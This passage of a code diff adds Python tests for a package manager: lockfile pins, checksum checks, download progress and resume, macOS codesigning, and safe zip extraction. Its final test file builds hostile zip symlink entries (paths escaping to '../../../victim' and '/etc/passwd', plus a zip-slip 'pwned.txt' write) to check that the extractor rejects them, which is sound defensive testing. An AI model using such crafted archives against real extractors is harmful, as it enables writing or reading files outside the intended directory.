merged entry, got {entry_dirs}" + entry = entry_dirs[0] + assert (entry / "bin" / "multitool").is_file() + assert (entry / "lib" / "extra.so").is_file() + # Both archives verified before publish: a digest mismatch in either + # must fail loudly, not be silently dropped. + _, bad = make_tar(docroot, "multitool-2.0-b.tar.gz", {"lib/extra.so": "z"}) + lockfile = Lockfile(lockfile_path) + lockfile.set_pin("multitool", "2.0", {"any": [ + {"url": f"{FakeTool.base_url}/multitool-2.0-a.tar.gz", "sha256": "0" * 64}, + {"url": f"{FakeTool.base_url}/multitool-2.0-b.tar.gz", "sha256": bad}, + ]}) + lockfile.save() + with pytest.raises(InstallError): + ensure("multitool", base_env={}) + + +def test_install_emits_staged_progress(pm_env): + """ensure() streams download -> unpack per artifact, labelled when a + package has several. A slow download must not look frozen.""" + from pm.ensure import ensure + + lockfile_path, _, docroot, _ = pm_env + _, digest_a = make_tar(docroot, "multitool-1.0-a.tar.gz", {"bin/multitool": "#!a"}) + _, digest_b = make_tar(docroot, "multitool-1.0-b.tar.gz", {"lib/extra.so": "y"}) + lockfile = Lockfile(lockfile_path) + lockfile.set_pin("multitool", "1.0", {"any": [ + {"url": f"{FakeTool.base_url}/multitool-1.0-a.tar.gz", "sha256": digest_a}, + {"url": f"{FakeTool.base_url}/multitool-1.0-b.tar.gz", "sha256": digest_b}, + ]}) + lockfile.save() + + events: list[tuple[str, str]] = [] + ensure("multitool", base_env={}, + progress=lambda stage, d, t, label: events.append((stage, label))) + + assert ("download", "1/2") in events + assert ("download", "2/2") in events + assert ("unpack", "1/2") in events + assert ("unpack", "2/2") in events + # download before unpack within each artifact. + stages = [s for s, _ in events] + assert stages.index("download") < stages.index("unpack") + + +def test_install_names_streams_progress(pm_env, capsys): + """The CLI install loop renders live download/unpack progress + a ✓ + line per package, so a slow bundle run is never silent in a piped + log.""" + from pm import cli + + assert cli._install_names(["faketool"]) == 0 + out = capsys.readouterr().out + assert "✓ faketool" in out + assert "faketool: 100.0%" in out + assert "faketool: unpacking" in out + + +def test_install_names_labels_multi_archive(pm_env, capsys): + """A package split across archives gets a label on its progress lines, + so the log says which archive is moving.""" + from pm import cli + + lockfile_path, _, docroot, _ = pm_env + _, digest_a = make_tar(docroot, "multitool-1.0-a.tar.gz", {"bin/multitool": "#!a"}) + _, digest_b = make_tar(docroot, "multitool-1.0-b.tar.gz", {"lib/extra.so": "y"}) + lockfile = Lockfile(lockfile_path) + lockfile.set_pin("multitool", "1.0", {"any": [ + {"url": f"{FakeTool.base_url}/multitool-1.0-a.tar.gz", "sha256": digest_a}, + {"url": f"{FakeTool.base_url}/multitool-1.0-b.tar.gz", "sha256": digest_b}, + ]}) + lockfile.save() + + assert cli._install_names(["multitool"]) == 0 + out = capsys.readouterr().out + assert "multitool: unpacking 1/2" in out + assert "multitool: unpacking 2/2" in out + assert "✓ multitool" in out + + +def test_download_ticks_per_chunk(pm_env, monkeypatch): + """The raw download stream reports byte progress on every chunk so a + slow line proves liveness.""" + from pm.store import Store + + _, runtime, docroot, _ = pm_env + ticks: list[tuple[int, int]] = [] + store = Store(runtime / "scratch") + url = f"{FakeTool.base_url}/faketool-1.0.tar.gz" + _, digest = make_tar(docroot, "faketool-1.0.tar.gz", {"bin/faketool": "#!x"}) + archive = store.fetch(url, digest, runtime / "scratch", + progress=lambda d, t: ticks.append((d, t))) + assert archive.is_file() + assert ticks and ticks[-1][0] == ticks[-1][1] == archive.stat().st_size + + +def test_deps_compose_dependents_win(pm_env): + from pm.ensure import ensure + + lockfile_path, _, docroot, _ = pm_env + name, digest = make_tar(docroot, "deptool-1.0.tar.gz", {"bin/faketool": "y"}) + _pin(lockfile_path, "deptool", "1.0", digest) + name, digest = make_tar(docroot, "toptool-1.0.tar.gz", {"bin/faketool": "z"}) + _pin(lockfile_path, "toptool", "1.0", digest) + + runner = ensure("toptool", base_env={}) + assert runner.env["DEPTOOL_SEEN"] == "1" + path = runner.env["PATH"] + assert path.index("toptool-1.0") < path.index("deptool-1.0") + + +def test_version_bump_reinstalls_and_migrates(pm_env): + from pm.ensure import ensure + + lockfile_path, _, docroot, _ = pm_env + migrations = [] + registry._packages["faketool"].migrate = lambda prev, new: migrations.append((prev, new)) + + ensure("faketool", base_env={}) + name, digest = make_tar(docroot, "faketool-2.0.tar.gz", {"bin/faketool": "#!2"}) + _pin(lockfile_path, "faketool", "2.0", digest) + runner = ensure("faketool", base_env={}) + assert "faketool-2.0" in runner.env["PATH"] + assert migrations == [("1.0", "2.0")] + + +def test_lazy_installs_disabled(pm_env, monkeypatch): + import importlib + + ensure_mod = importlib.import_module("pm.ensure") + monkeypatch.setattr(ensure_mod, "lazy_installs_allowed", lambda: False) + with pytest.raises(InstallError, match="lazy installs are disabled"): + ensure_mod.ensure("faketool", base_env={}) + + +def test_missing_platform_is_declared(pm_env): + from pm.ensure import ensure + + lockfile_path, *_ = pm_env + pkg = registry._packages["faketool"] + pkg.gaps = {current_target(): "no artifact for this platform"} + try: + with pytest.raises(InstallError, match="no artifact"): + ensure("faketool", base_env={}) + finally: + pkg.gaps = {} + + +def test_corrupt_facts_degrades_to_empty(pm_env): + from pm.ensure import ensure, is_installed + + _, runtime, *_ = pm_env + ensure("faketool", base_env={}) + (runtime / "facts.json").write_text("{ not json", encoding="utf-8") + assert not is_installed("faketool") + # the unparsable bytes were kept for post-mortem, not discarded + assert (runtime / "facts.corrupt").is_file() + + +def test_sealed_install_refuses_even_explicit(pm_env, monkeypatch): + from pm.ensure import ensure + + _, runtime, *_ = pm_env + (runtime.parent / "manifest.json").write_text( + '{"schema": 1}', encoding="utf-8" + ) + with pytest.raises(InstallError, match="sealed"): + ensure("faketool", base_env={}, explicit=True) + + +def test_concurrent_installs_do_not_clobber(pm_env): + from pm.ensure import ensure, is_installed + + lockfile_path, _, docroot, _ = pm_env + name, digest = make_tar(docroot, "deptool-1.0.tar.gz", {"bin/faketool": "y"}) + _pin(lockfile_path, "deptool", "1.0", digest) + + errors = [] + + def run(target_name): + try: + ensure(target_name, base_env={}) + except Exception as e: + errors.append(e) + + threads = [ + threading.Thread(target=run, args=("faketool",)), + threading.Thread(target=run, args=("deptool",)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + assert not errors + assert is_installed("faketool") and is_installed("deptool") + + +def test_single_flight_one_store_entry(pm_env): + from pm.ensure import ensure + + _, runtime, *_ = pm_env + errors = [] + + def go(): + try: + ensure("faketool", base_env={}) + except Exception as e: + errors.append(e) + + threads = [threading.Thread(target=go) for _ in range(6)] + for t in threads: + t.start() + for t in threads: + t.join() + assert not errors + entries = [p for p in runtime.iterdir() if p.name.startswith("faketool-")] + assert len(entries) == 1 + + +def test_gc_keeps_used_removes_orphans(pm_env): + from pm.cli import cmd_gc + from pm.ensure import ensure + + _, runtime, *_ = pm_env + ensure("faketool", base_env={}) + orphan = runtime / "orphan-9.9-nowhere" + orphan.mkdir() + cmd_gc(None) + assert not orphan.exists() + assert any(p.name.startswith("faketool-1.0") for p in runtime.iterdir()) + + +def test_env_for_never_installs(pm_env): + from pm.ensure import env_for + + _, runtime, *_ = pm_env + env = env_for("faketool", base_env={}) + assert "faketool-1.0" not in env.get("PATH", "") + installed = [p for p in runtime.iterdir() if p.is_dir()] if runtime.is_dir() else [] + assert not any(p.name.startswith("faketool-") for p in installed) + + +def test_facts_adopt_by_path_substitution(tmp_path): + store_a = tmp_path / "bundle-store" + facts_a = Facts(store_a / "facts.json") + store_a.mkdir() + facts_a.record("tool", "1.0", "tool-1.0-any", {"PATH": [str(store_a / "tool-1.0-any" / "bin")]}, store_a) + + raw = (store_a / "facts.json").read_text(encoding="utf-8") + assert "{{store}}" in raw and str(store_a) not in raw + + store_b = tmp_path / "user-store" + store_b.mkdir() + (store_a / "facts.json").rename(store_b / "facts.json") + facts_b = Facts(store_b / "facts.json") + env = facts_b.env_for("tool", store_b) + assert env["PATH"] == [str(store_b / "tool-1.0-any" / "bin")] + + +def test_compose_env_dependents_win_non_path_too(): + env = compose_env([{"X": "dep"}, {"X": "dependent"}], base={}) + assert env["X"] == "dependent" + + +def test_flatten_refuses_layout_dirs(tmp_path): + (tmp_path / "bin").mkdir() + (tmp_path / "bin" / "tool").write_text("x") + flatten_single_dir(tmp_path) + assert (tmp_path / "bin" / "tool").is_file() + + +# ── bundle payload pieces ───────────────────────────────────────────── + + +def test_python_package_url_carries_release_tag(): + from pm.package import InstallError as PmInstallError + from pm.registry import get_package + + python = get_package("python") + url = python.fetch_url("3.11.16+20260814", "win32-arm64") + assert "download/20260814/" in url + assert "cpython-3.11.16+20260814-aarch64-pc-windows-msvc-install_only" in url + + try: + python.fetch_url("3.11.16", "win32-arm64") + raise AssertionError("bare version must be rejected") + except PmInstallError: + pass + + +def test_python_package_stably_signs_macos_runtime(monkeypatch, tmp_path): + import pm.packages as packages + from pm.registry import get_package + + python = get_package("python") + binary = tmp_path / "bin" / "python3" + binary.parent.mkdir() + binary.touch() + calls = [] + + monkeypatch.setattr(packages.platform, "system", lambda: "Darwin") + monkeypatch.setattr(packages.shutil, "which", lambda name: "/usr/bin/codesign") + monkeypatch.setattr( + packages.subprocess, + "run", + lambda cmd, **kwargs: calls.append((cmd, kwargs)) or type("Result", (), {"returncode": 0})(), + ) + monkeypatch.setattr(python, "binary", lambda entry, target: binary) + + python.stage(Store(tmp_path / "store"), tmp_path, "3.11", "darwin-arm64") + + assert calls[0][0] == [ + "/usr/bin/codesign", + "--force", + "--deep", + "--sign", + "-", + "--timestamp=none", + "--identifier", + "com.nousresearch.hermes.managed-python", + "--requirements", + '=designated => identifier "com.nousresearch.hermes.managed-python"', + str(binary), + ] + assert calls[1][0] == ["/usr/bin/codesign", "--verify", "--deep", "--strict", str(binary)] + + +def test_python_package_does_not_sign_non_macos_runtime(monkeypatch, tmp_path): + import pm.packages as packages + + monkeypatch.setattr(packages.platform, "system", lambda: "Linux") + monkeypatch.setattr( + packages.subprocess, + "run", + lambda *args, **kwargs: pytest.fail("codesign must not run outside macOS"), + ) + + assert packages._macos_sign_managed_python(tmp_path / "python") is False + + +def test_machine_matches_binary_pe_headers(tmp_path): + from pm.package import machine_matches_binary + + def pe(machine: int) -> bytes: + head = bytearray(b"MZ" + b"\0" * 62) + head[60:64] = (64).to_bytes(4, "little") + return bytes(head) + b"PE\0\0" + machine.to_bytes(2, "little") + + amd = tmp_path / "amd.exe" + amd.write_bytes(pe(0x8664)) + arm = tmp_path / "arm.exe" + arm.write_bytes(pe(0xAA64)) + script = tmp_path / "tool" + script.write_text("#!/bin/sh\n") + + assert machine_matches_binary(amd, "win32-x64") is True + assert machine_matches_binary(amd, "win32-arm64") is False + assert machine_matches_binary(arm, "win32-arm64") is True + assert machine_matches_binary(script, "win32-x64") is None # not a mismatch + + +def test_machine_matches_binary_elf(tmp_path): + from pm.package import machine_matches_binary + + elf = bytearray(b"\x7fELF" + b"\0" * 60) + elf[18:20] = (0xB7).to_bytes(2, "little") + b = tmp_path / "tool" + b.write_bytes(bytes(elf)) + assert machine_matches_binary(b, "linux-arm64") is True + assert machine_matches_binary(b, "linux-x64") is False + + +def test_adopt_noop_without_facts(pm_env, monkeypatch): + import pm + from pm import paths + + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(paths.store_root() / "nowhere")) + paths._stamp.cache_clear() + assert pm.adopt() is False + + +class FakeVenv(StatePackage): + name = "venv" + + def __init__(self): + self.applied: list[list[str]] = [] + self.lock_content = b"lock-v1" + + def expected_stamp(self, extras): + import hashlib + + h = hashlib.sha256(self.lock_content) + h.update(",".join(sorted(extras)).encode()) + return h.hexdigest() + + def apply(self, extras): + self.applied.append(list(extras)) + + +@pytest.fixture +def venv_env(pm_env): + fake = FakeVenv() + registry._packages["venv"] = fake + return pm_env, fake + + +def test_sync_venv_applies_once_then_stamps(venv_env): + from pm.ensure import sync_venv + + _, fake = venv_env + sync_venv() + sync_venv() + assert fake.applied == [[]] + + +def test_sync_venv_unions_extras(venv_env): + from pm.ensure import sync_venv + + _, fake = venv_env + sync_venv(["telegram"]) + sync_venv(["anthropic"]) + sync_venv(["telegram"]) + assert fake.applied == [["telegram"], ["anthropic", "telegram"]] + + +def test_check_reports_venv_drift_and_missing_tools(venv_env): + from pm.ensure import check, ensure, sync_venv + + (pm_env_tuple, fake) = venv_env + lockfile_path, runtime, *_ = pm_env_tuple + + assert check() == [] # pm never touched this install: silent + + ensure("faketool", base_env={}) + sync_venv() + assert check() == [] + + fake.lock_content = b"lock-v2" # uv.lock changed underneath + problems = check() + assert problems == ["venv: out of sync with uv.lock"] + + _pin(lockfile_path, "faketool", "9.9", "0" * 64) # tool outdated now + problems = check() + assert "faketool: not installed or outdated" in problems + + +def test_bundle_package_names_include_browsers(monkeypatch, tmp_path): + from pm.cli import _bundle_package_names + from pm.lock import Lockfile + + lock = Lockfile(tmp_path / "lock.json") + for name in ("uv", "python", "ripgrep", "chromium", "chromium-headless-shell", "node", "npm"): + lock.set_pin(name, "1", {"any": {"url": "x", "sha256": "0" * 64}}) + lock.save() + monkeypatch.setattr("pm.cli._lockfile", lambda: lock) + names = _bundle_package_names() + # Browsers now ship in every payload (win32-arm64 runs the x64 build + # under emulation); nothing is excluded from the bundle. + assert "chromium" in names + assert "chromium-headless-shell" in names + assert "python" in names + assert "ripgrep" in names + # node/npm are shipped runtime tools (TUI, plugins), not install + # machinery; only uv remains internal. + assert "node" in names + assert "npm" in names + + +def test_bundle_closure_uv_stays_internal_node_npm_ship(monkeypatch, tmp_path): + """Locks the semantics split: uv is pm's install machinery and never + ships by closure, node/npm are runtime tools and always do.""" + from pm.cli import _bundle_package_names + from pm.lock import Lockfile + from pm.registry import get_package + + lock = Lockfile(tmp_path / "lock.json") + for name in ("uv", "node", "npm"): + lock.set_pin(name, "1", {"any": {"url": "x", "sha256": "0" * 64}}) + lock.save() + monkeypatch.setattr("pm.cli._lockfile", lambda: lock) + names = _bundle_package_names() + # uv stays internal (off PATH, off the default install) but ships in + # the bundle via the explicit whitelist — install machinery rides along. + assert get_package("uv").internal is True + assert "uv" in names # whitelisted cargo, not closure by right + assert get_package("node").internal is False + assert get_package("npm").internal is False + assert "node" in names and "npm" in names + + +def test_arch_guard_allows_emulated_x64_on_win32_arm64(monkeypatch, tmp_path): + """agent-browser on win32-arm64 ships the x64 PE (emulated). The guard + must not reject it when the package declares the target emulated.""" + import pm.cli as cli + from pm.lock import Facts, Lockfile + from pm.registry import get_package + + store = tmp_path / "store" + entry = store / "agent-browser-0.35.1" + bin_dir = entry / "bin" + bin_dir.mkdir(parents=True) + # A real x64 PE header (MZ + PE sig + machine 0x8664). + x64_pe = ( + b"MZ" + b"\0" * 58 + (0x80).to_bytes(4, "little") + + b"PE\0\0" + (0x8664).to_bytes(2, "little") + b"\0" * 54 + ) + (bin_dir / "agent-browser-win32-x64.exe").write_bytes(x64_pe) + + lock = Lockfile(tmp_path / "lock.json") + lock.set_pin("agent-browser", "0.35.1", {"any": {"url": "x", "sha256": "0" * 64}}) + lock.save() + monkeypatch.setattr("pm.cli._lockfile", lambda: lock) + monkeypatch.setattr("pm.cli.current_target", lambda: "win32-arm64") + monkeypatch.setattr("pm.cli.get_package", lambda name: get_package(name)) + + facts = Facts(store / "facts.json") + facts.record("agent-browser", "0.35.1", entry.name, {}, store) + + problems = cli._arch_guard(store) + assert problems == [] + + +def test_drop_unloadable_runtime_files_removes_only_arm64_x64_vc_runtime(monkeypatch, tmp_path): + import pm.cli as cli + + store = tmp_path / "store" + entry = store / "python-3.11-win32-arm64" + entry.mkdir(parents=True) + stray = entry / "vcruntime140_1.dll" + keep = entry / "vcruntime140.dll" + stray.write_bytes(b"x64") + keep.write_bytes(b"arm64") + facts = Facts(store / "facts.json") + facts.record("python", "3.11", entry.name, {}, store) + + monkeypatch.setattr(cli, "_facts", lambda: facts) + monkeypatch.setattr(cli, "current_target", lambda: "win32-arm64") + cli._drop_unloadable_runtime_files(store) + + assert not stray.exists() + assert keep.is_file() + + +def test_drop_unloadable_runtime_files_keeps_other_targets(monkeypatch, tmp_path): + import pm.cli as cli + + store = tmp_path / "store" + entry = store / "python-3.11-win32-x64" + entry.mkdir(parents=True) + runtime = entry / "vcruntime140_1.dll" + runtime.write_bytes(b"x64") + facts = Facts(store / "facts.json") + facts.record("python", "3.11", entry.name, {}, store) + + monkeypatch.setattr(cli, "_facts", lambda: facts) + monkeypatch.setattr(cli, "current_target", lambda: "win32-x64") + cli._drop_unloadable_runtime_files(store) + + assert runtime.is_file() + + +def test_verify_missing_binary_reports_path_and_listing(tmp_path): + """A missing binary must say which path is missing and what the + entry actually contains — the diagnosis that exposes a bad pin.""" + entry = tmp_path / "entry" + (entry / "bin").mkdir(parents=True) + (entry / "doc").write_text("x") + reason = FakeTool().verify(entry, current_target()) + assert "bin/faketool" in reason + assert "missing" in reason + assert "doc" in reason + + +def test_verify_probe_failure_reports_reason(tmp_path): + """A probe that cannot run must say so, not just fail.""" + + class ProbingTool(FakeTool): + probe_version = True + + entry = tmp_path / "entry" + (entry / "bin").mkdir(parents=True) + (entry / "bin" / "faketool").write_bytes(b"\x00\x01 not an executable") + reason = ProbingTool().verify(entry, current_target()) + assert "--version" in reason + + +def test_probe_args_override_used_by_verify(tmp_path): + """A binary that rejects `--version` (ffmpeg's BtbN autobuild does) can + override the probe argv; verify() must honor the override everywhere + the probe is described, not just in the subprocess argv.""" + + class DashesTool(FakeTool): + probe_version = True + probe_args = ["-version"] + + entry = tmp_path / "entry" + (entry / "bin").mkdir(parents=True) + (entry / "bin" / "faketool").write_bytes(b"\x00\x01 not an executable") + reason = DashesTool().verify(entry, current_target()) + assert "-version" in reason + assert "--version" not in reason + + +def test_ffmpeg_posix_layout_resolves_at_entry_root(tmp_path): + """martin-riedl zips are a single `ffmpeg` file at the zip root — the + package must resolve it there (bin/ffmpeg is the BtbN win32 layout).""" + from pm.registry import get_package + + ffmpeg = get_package("ffmpeg") + entry = tmp_path / "entry" + entry.mkdir() + (entry / "ffmpeg").write_bytes(b"x") + assert ffmpeg.binary(entry, "linux-arm64") == entry / "ffmpeg" + assert ffmpeg.binary(entry, "darwin-x64") == entry / "ffmpeg" + assert ffmpeg.probe_args == ["-version"] + + +def test_verify_arch_mismatch_reports_target(tmp_path): + """A wrong-arch binary is diagnosed before any probe is attempted.""" + target = current_target() + arch = target.rsplit("-", 1)[-1] + wrong = 0xAA64 if arch == "x64" else 0x8664 + entry = tmp_path / "entry" + (entry / "bin").mkdir(parents=True) + buf = bytearray(b"MZ" + b"\x00" * 0x3E) + buf[0x3C:0x40] = (0x40).to_bytes(4, "little") + buf += b"PE\x00\x00" + wrong.to_bytes(2, "little") + b"\x00" * 64 + (entry / "bin" / "faketool").write_bytes(bytes(buf)) + reason = FakeTool().verify(entry, target) + assert reason and "not a" in reason and target in reason + + +def test_install_verify_failure_reports_reason(pm_env): + """The CI failure: an entry that installs but fails verification must + surface WHY in the InstallError, not a bare status.""" + lockfile_path, runtime, docroot, base_url = pm_env + # Archive whose layout does not match binary_rel (bin/faketool). + name, digest = make_tar(docroot, "faketool-2.0.tar.gz", {"nope/x": "y"}) + _pin(lockfile_path, "faketool", "2.0", digest) + + from pm.ensure import ensure + + with pytest.raises(InstallError) as exc: + ensure("faketool", explicit=True) + msg = str(exc.value) + assert "failed verification" in msg + assert "bin/faketool" in msg + assert "missing" in msg + + + +def test_store_path_dirs_include_node_npm_when_installed(tmp_path, monkeypatch): + """The settled tools-on-path claim, made true: once node/npm are + installed store packages (non-internal), their dirs enter the + provisioned PATH. Regression test for the flag flip.""" + from pm import paths + from pm.ensure import _store_path_dirs + from pm.lock import Facts, Lockfile + + runtime = tmp_path / "runtime" + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(runtime)) + lock_dir = tmp_path / "repo-lock" + lock_dir.mkdir() + lockfile_path = lock_dir / "lock.json" + monkeypatch.setattr(paths, "lockfile_path", lambda: lockfile_path) + + lock = Lockfile(lockfile_path) + for name in ("node", "npm"): + lock.set_pin(name, "1", {"any": {"url": "x", "sha256": "0" * 64}}) + lock.save() + + # Fabricate installed node/npm entries in the store the way pm would. + store = paths.store_root() + facts_path = paths.facts_path() + facts_path.parent.mkdir(parents=True, exist_ok=True) + facts = Facts(facts_path) if facts_path.is_file() else None + import json as _json + + if facts is None: + facts_path.write_text(_json.dumps({"schema": 1, "packages": {}}), encoding="utf-8") + facts = Facts(facts_path) + for name in ("node", "npm"): + entry = f"{name}-1" + entry_dir = store / entry + entry_dir.mkdir(parents=True, exist_ok=True) + facts.record( + name, "1", entry, + {"PATH": ["{store}/" + entry]}, store_root=store, + target=current_target(), + artifacts=["0" * 64], + ) + monkeypatch.setattr(paths, "lockfile_path", lambda: lockfile_path) + + dirs = _store_path_dirs() + assert any(d.endswith("node-1") for d in dirs), dirs + assert any(d.endswith("npm-1") for d in dirs), dirs + + # And the split holds: uv, still internal, contributes nothing even + # if a (fabricated) fact exists for it. + uv_entry = "uv-1" + (store / uv_entry).mkdir(parents=True, exist_ok=True) + facts.record("uv", "1", uv_entry, {"PATH": ["{store}/" + uv_entry]}, store_root=store) + dirs = _store_path_dirs() + assert not any(d.endswith("uv-1") for d in dirs), dirs diff --git a/tests/pm/test_store_resume.py b/tests/pm/test_store_resume.py new file mode 100644 index 0000000000..53471a4ddf --- /dev/null +++ b/tests/pm/test_store_resume.py @@ -0,0 +1,108 @@ +"""Store.fetch resume end-to-end: a dropped archive download resumes on the +second Store.fetch instead of re-fetching the whole archive. + +A real loopback Range-honoring server, a real tar.gz, no urllib mocking. +The first fetch is cut short by the server closing the connection mid-body +(so Store.fetch raises); the second fetch must resume from the durable +byte-range prefix — requesting only the missing tail, not the whole archive — +and return bytes that exactly match the original tar.gz. The managed partials +live OUTSIDE the scratch tempdir (in the store's machine-scoped partials +area), so the scratch context's finally-rmtree cannot destroy resume state. +""" + +from __future__ import annotations + +import hashlib +import io +import tarfile +from pathlib import Path + +import pytest + +from pm.store import Store + +import pm.paths as paths + +from tests.pm._range_server import RangeHandler as _Handler, dl_server, url as _url + + +def _make_archive() -> bytes: + """A real tar.gz, big enough to stream across several 64 KiB serve + pieces yet small enough (< 1 MiB) that the downloader fans out to ONE + byte range — keeping the resume shape a single 'missing tail' request + that the assertions can check literally. The payload is pseudo-random + (hash chain) so gzip cannot compress it down below the serve-piece + size, which would collapse the whole body into one write and spare the + mid-body abort.""" + data = b"" + seed = b"hermes-pm-resume" + while len(data) < 512 * 1024: + seed = hashlib.sha256(seed).digest() + data += seed + data = data[:512 * 1024] + buf = io.BytesIO() + with tarfile.open(fileobj=buf, mode="w:gz") as tf: + info = tarfile.TarInfo("payload.bin") + info.size = len(data) + info.mode = 0o644 + tf.addfile(info, io.BytesIO(data)) + return buf.getvalue() + + +def test_store_fetch_resumes_interrupted_download(tmp_path, dl_server, monkeypatch): + # Isolate the store root (and thus the managed partials area) to tmp_path. + runtime = tmp_path / "runtime" + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(runtime)) + paths._stamp.cache_clear() + + # Serve in small pieces so the mid-body abort fires inside the single + # byte range (the shared fixture resets this to 1 MiB). + _Handler.chunk = 1 << 16 + + archive_bytes = _make_archive() + assert len(archive_bytes) < (1 << 20), "single-range resume assumes < 1 MiB" + name = "faketool-1.0.tar.gz" + _Handler.payloads[f"/{name}"] = archive_bytes + sha = hashlib.sha256(archive_bytes).hexdigest() + url = _url(dl_server, f"/{name}") + + store = Store(runtime / "store") + partials = paths.store_root() / "partials" + key = hashlib.sha256(url.encode("utf-8")).hexdigest() + + # First fetch: the server drops the connection ~halfway through the body, + # so Store.fetch raises before publishing anything to the store. + _Handler.abort_after = len(archive_bytes) // 2 + with store.scratch() as scratch: + with pytest.raises(Exception): + store.fetch(url, sha, scratch) + + # The partial + range bitmap survive OUTSIDE scratch (scratch was just + # rmtree'd by the context manager) — that is the resume state. + assert (partials / f"{key}.part").is_file() + assert (partials / f"{key}.ranges").is_file() + + first = list(_Handler.ranges_seen) + assert len(first) == 1, f"expected a single-range first fetch, saw {first}" + + # Second fetch, server intact: must resume from the durable prefix. + _Handler.abort_after = None + with store.scratch() as scratch: + got = store.fetch(url, sha, scratch) + + # The returned archive's bytes exactly match the original tar.gz. + assert got.read_bytes() == archive_bytes + # The successful fetch consumed (moved) the partial out of the managed area. + assert not (partials / f"{key}.part").exists() + + resumed = _Handler.ranges_seen[len(first):] + # One resumed request, for ONLY the missing tail — the already-durable + # prefix was NOT re-requested (it must not start at byte 0). + assert len(resumed) == 1, f"expected a single resumed request, saw {resumed}" + r_path, r_start, r_end = resumed[0] + assert r_path == f"/{name}" + assert r_start > 0, f"resume re-fetched the whole archive: {resumed}" + assert r_end == len(archive_bytes) - 1 + # The resume request covered everything from where the first attempt + # stopped to the end of the file. + assert r_start < len(archive_bytes) diff --git a/tests/pm/test_zip_symlinks.py b/tests/pm/test_zip_symlinks.py new file mode 100644 index 0000000000..6f54888fd2 --- /dev/null +++ b/tests/pm/test_zip_symlinks.py @@ -0,0 +1,186 @@ +"""Zip extraction must preserve symlinks — and refuse hostile ones. + +Mac chromium .framework zips carry a layout that is mostly symlinks +(Versions/Current, Resources, ...). zipfile.extract() writes a symlink +entry's TARGET PATH out as a regular file, which destroys the bundle: +codesign then refuses even a fresh re-sign. So pm's _extract_zip +recreates link entries with os.symlink — but only the safe ones, and +only after every regular file has landed. + +A zip symlink entry is a file whose content is the target path and +whose external_attr mode says S_ISLNK. The fixtures here build REAL +entries of that shape, the same bytes a hostile server would send. + +Ported from restack's provisioner-zip-symlinks suite, rewritten against +pm.store.extract. Containment arms (hostile links skipped, zip-slip +ordering) are host-independent and run on Windows; the arms asserting +links RESOLVE are POSIX-gated; a separate arm pins pm's truthful win32 +degradation (symlink if the host allows it, else a text placeholder — +never an escape). +""" + +from __future__ import annotations + +import io +import stat +import sys +import zipfile +from pathlib import Path + +import pytest + +from pm.store import extract + +posix_only = pytest.mark.skipif( + sys.platform == "win32", reason="symlink resolution semantics are POSIX" +) + + +def _add_symlink(zf: zipfile.ZipFile, member: str, target: str) -> None: + """Append a symlink entry the way zip tools actually encode one.""" + info = zipfile.ZipInfo(member) + info.external_attr = (stat.S_IFLNK | 0o755) << 16 + zf.writestr(info, target) + + +def _add_file( + zf: zipfile.ZipFile, member: str, data: bytes = b"x", mode: int = 0o644 +) -> None: + info = zipfile.ZipInfo(member) + info.external_attr = (stat.S_IFREG | mode) << 16 + zf.writestr(info, data) + + +def _write_zip(path: Path, build) -> Path: + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + build(zf) + path.write_bytes(buf.getvalue()) + return path + + +@posix_only +def test_framework_shaped_links_round_trip(tmp_path: Path) -> None: + """The CfT .framework shape: links out of the versioned dir, intact.""" + + def build(zf: zipfile.ZipFile) -> None: + _add_file(zf, "app/F.framework/Versions/A/F", b"machO", mode=0o755) + _add_file(zf, "app/F.framework/Versions/A/Resources/Info.plist", b"") + _add_symlink(zf, "app/F.framework/Versions/Current", "A") + _add_symlink(zf, "app/F.framework/Resources", "Versions/Current/Resources") + _add_symlink(zf, "app/F.framework/F", "Versions/Current/F") + + dest = tmp_path / "out" + extract(_write_zip(tmp_path / "a.zip", build), dest) + + current = dest / "app/F.framework/Versions/Current" + assert current.is_symlink() and current.readlink() == Path("A") + resources = dest / "app/F.framework/Resources" + assert resources.is_symlink() + # The links RESOLVE: the whole point of preserving them. + assert (resources / "Info.plist").read_bytes() == b"" + assert (dest / "app/F.framework/F").read_bytes() == b"machO" + # And the binary kept its exec bit through the same pass. + assert (dest / "app/F.framework/Versions/A/F").stat().st_mode & 0o111 + + +@posix_only +def test_intree_dotdot_target_is_kept(tmp_path: Path) -> None: + """`..` in a target is fine while it stays under dest — real layouts + (lib/foo -> ../share/foo) depend on it.""" + + def build(zf: zipfile.ZipFile) -> None: + _add_file(zf, "share/data.txt", b"d") + _add_symlink(zf, "lib/data", "../share/data.txt") + + dest = tmp_path / "out" + extract(_write_zip(tmp_path / "a.zip", build), dest) + link = dest / "lib/data" + assert link.is_symlink() and link.read_bytes() == b"d" + + +@pytest.mark.parametrize( + ("member", "target"), + [ + ("lib/evil", "../../../victim"), # escapes via target walk-up + ("lib/evil", "/etc/passwd"), # absolute target + ("../evil", "whatever"), # link path itself escapes + ], +) +def test_hostile_links_are_skipped_not_written( + tmp_path: Path, member: str, target: str +) -> None: + """Containment is host-independent: pm decides to skip a hostile + link BEFORE any symlink creation, so this must hold on Windows too.""" + + def build(zf: zipfile.ZipFile) -> None: + _add_file(zf, "lib/ok.txt", b"ok") + _add_symlink(zf, member, target) + + dest = tmp_path / "deep" / "out" + extract(_write_zip(tmp_path / "a.zip", build), dest) + + # The good entry landed; the hostile link exists NOWHERE — not under + # dest, not at the escape destination. + assert (dest / "lib/ok.txt").read_bytes() == b"ok" + assert not (dest / "lib/evil").exists() and not (dest / "lib/evil").is_symlink() + assert not (tmp_path / "victim").exists() + assert not (tmp_path / "evil").exists() + + +def test_file_written_through_earlier_link_entry_cannot_escape( + tmp_path: Path, +) -> None: + """Zip-slip ordering: a link entry followed by a file entry routed + through it. Links are recreated last, so the file lands as a real + path and nothing is written outside dest. Host-independent.""" + + def build(zf: zipfile.ZipFile) -> None: + _add_symlink(zf, "outdir", "../..") + _add_file(zf, "outdir/pwned.txt", b"pwned") + + dest = tmp_path / "deep" / "out" + extract(_write_zip(tmp_path / "a.zip", build), dest) + + assert not (tmp_path / "pwned.txt").exists() + written = dest / "outdir" / "pwned.txt" + assert written.is_file() and not (dest / "outdir").is_symlink() + + +@pytest.mark.skipif(sys.platform != "win32", reason="pins the win32 degradation") +def test_win32_safe_link_degrades_without_escaping(tmp_path: Path) -> None: + """On win32 pm attempts a real symlink (works with Developer Mode / + admin) and otherwise degrades to a text 